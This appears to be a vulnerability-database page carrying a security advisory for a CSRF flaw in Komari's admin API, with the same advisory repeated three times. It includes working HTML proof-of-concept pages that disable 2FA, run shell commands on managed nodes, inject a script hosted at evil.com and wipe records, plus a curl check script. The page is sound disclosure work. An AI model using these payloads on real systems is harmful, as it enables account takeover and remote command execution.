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GHSA-hxjg-93wc-h8p8

Komari: Management Interface CSRF

8.8 HighFix available

GHSA-hxjg-93wc-h8p8 is a high vulnerability (CVSS 8.8) in github.com/komari-monitor/komari, published September 9, 2026. No source lists public exploit code. Fixed in github.com/komari-monitor/komari 0.0.0-20260609084633-98122fa4d110.

What does this mean?
Severity
8.8 HighCVSS 3.1, GitHub Advisories
Exploit chance
UnscoredNo EPSS score yet
Exploitation
None knownNot on CISA’s or ENISA’s lists
Fixed in
0.0.0-20260609084633-98122fa4d110github.com/komari-monitor/komari

Description

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

  • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
  • Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
  • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.

| Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax | | Cross-site HTML (Chrome <80 / legacy browsers) | ✓ | | Same-origin context (Browser Console / existing XSS) | ✓ | | Man-in-the-middle over HTTP (Secure=false) | ✓ |

High-Impact Operations Reachable via CSRF

| Endpoint | Method | Impact | |----------|--------|--------| | /api/admin/task/exec | POST | Execute arbitrary shell commands on managed nodes | | /api/admin/2fa/disable | POST | Disable administrator two-factor authentication | | /api/admin/settings/ | POST | Modify system configuration | | /api/admin/upload/backup | POST | Upload a malicious backup | | /api/admin/record/clear/all | POST | Delete all monitoring records | | /api/admin/client/:uuid/edit | POST | Modify client configuration | | /api/admin/client/:uuid/remove | POST | Remove managed clients | | /api/admin/session/remove/all | POST | Invalidate all active sessions | | /api/admin/settings/cloudflared/start | POST | Start a Cloudflared tunnel |

PoC 1 — Disable 2FA

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>

PoC 2 — Remote Command Execution

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>

PoC 3 — Modify System Configuration

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>

PoC 4 — Clear All Monitoring Records

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/record/clear/all"
      target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>

Verification Script

#!/bin/bash
KOMARI="${1:-https://komari.example.com}"

echo "=== CSRF Verification ==="

echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
  -X POST "$KOMARI/api/public/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}' | grep -i 'set-cookie'

echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.com" \
  "$KOMARI/api/public/config" | grep -i 'access-control'

echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$KOMARI/api/admin/settings/" \
  -H "Content-Type: application/json" \
  -H "Origin: https://evil.com" \
  -d '{}')

echo "    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Affected packages

Affected packages
PackageAffectedFixed
github.com/komari-monitor/komari
Go
before 0.0.0-20260609084633-98122fa4d110
0.0.0-20260609084633-98122fa4d110

What each source reports

GitHub Advisories Score used8.8

Komari: Management Interface CSRF

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

  • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
  • Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
  • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.

| Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax | | Cross-site HTML (Chrome <80 / legacy browsers) | ✓ | | Same-origin context (Browser Console / existing XSS) | ✓ | | Man-in-the-middle over HTTP (Secure=false) | ✓ |

High-Impact Operations Reachable via CSRF

| Endpoint | Method | Impact | |----------|--------|--------| | /api/admin/task/exec | POST | Execute arbitrary shell commands on managed nodes | | /api/admin/2fa/disable | POST | Disable administrator two-factor authentication | | /api/admin/settings/ | POST | Modify system configuration | | /api/admin/upload/backup | POST | Upload a malicious backup | | /api/admin/record/clear/all | POST | Delete all monitoring records | | /api/admin/client/:uuid/edit | POST | Modify client configuration | | /api/admin/client/:uuid/remove | POST | Remove managed clients | | /api/admin/session/remove/all | POST | Invalidate all active sessions | | /api/admin/settings/cloudflared/start | POST | Start a Cloudflared tunnel |

PoC 1 — Disable 2FA

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>

PoC 2 — Remote Command Execution

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>

PoC 3 — Modify System Configuration

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>

PoC 4 — Clear All Monitoring Records

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe…
Record
GHSA-hxjg-93wc-h8p8
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-918
Updated
2026-11-02
OSV8.8

Komari: Management Interface CSRF

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

  • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
  • Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
  • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.

| Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax | | Cross-site HTML (Chrome <80 / legacy browsers) | ✓ | | Same-origin context (Browser Console / existing XSS) | ✓ | | Man-in-the-middle over HTTP (Secure=false) | ✓ |

High-Impact Operations Reachable via CSRF

| Endpoint | Method | Impact | |----------|--------|--------| | /api/admin/task/exec | POST | Execute arbitrary shell commands on managed nodes | | /api/admin/2fa/disable | POST | Disable administrator two-factor authentication | | /api/admin/settings/ | POST | Modify system configuration | | /api/admin/upload/backup | POST | Upload a malicious backup | | /api/admin/record/clear/all | POST | Delete all monitoring records | | /api/admin/client/:uuid/edit | POST | Modify client configuration | | /api/admin/client/:uuid/remove | POST | Remove managed clients | | /api/admin/session/remove/all | POST | Invalidate all active sessions | | /api/admin/settings/cloudflared/start | POST | Start a Cloudflared tunnel |

PoC 1 — Disable 2FA

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>

PoC 2 — Remote Command Execution

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>

PoC 3 — Modify System Configuration

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>

PoC 4 — Clear All Monitoring Records

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe…
Record
GHSA-hxjg-93wc-h8p8
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-918
Updated
2026-11-02
OSVGO-2026-6449No score

Komari: Management Interface CSRF in github.com/komari-monitor/komari

Komari: Management Interface CSRF in github.com/komari-monitor/komari

Record
GO-2026-6449
Updated
2026-11-02

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

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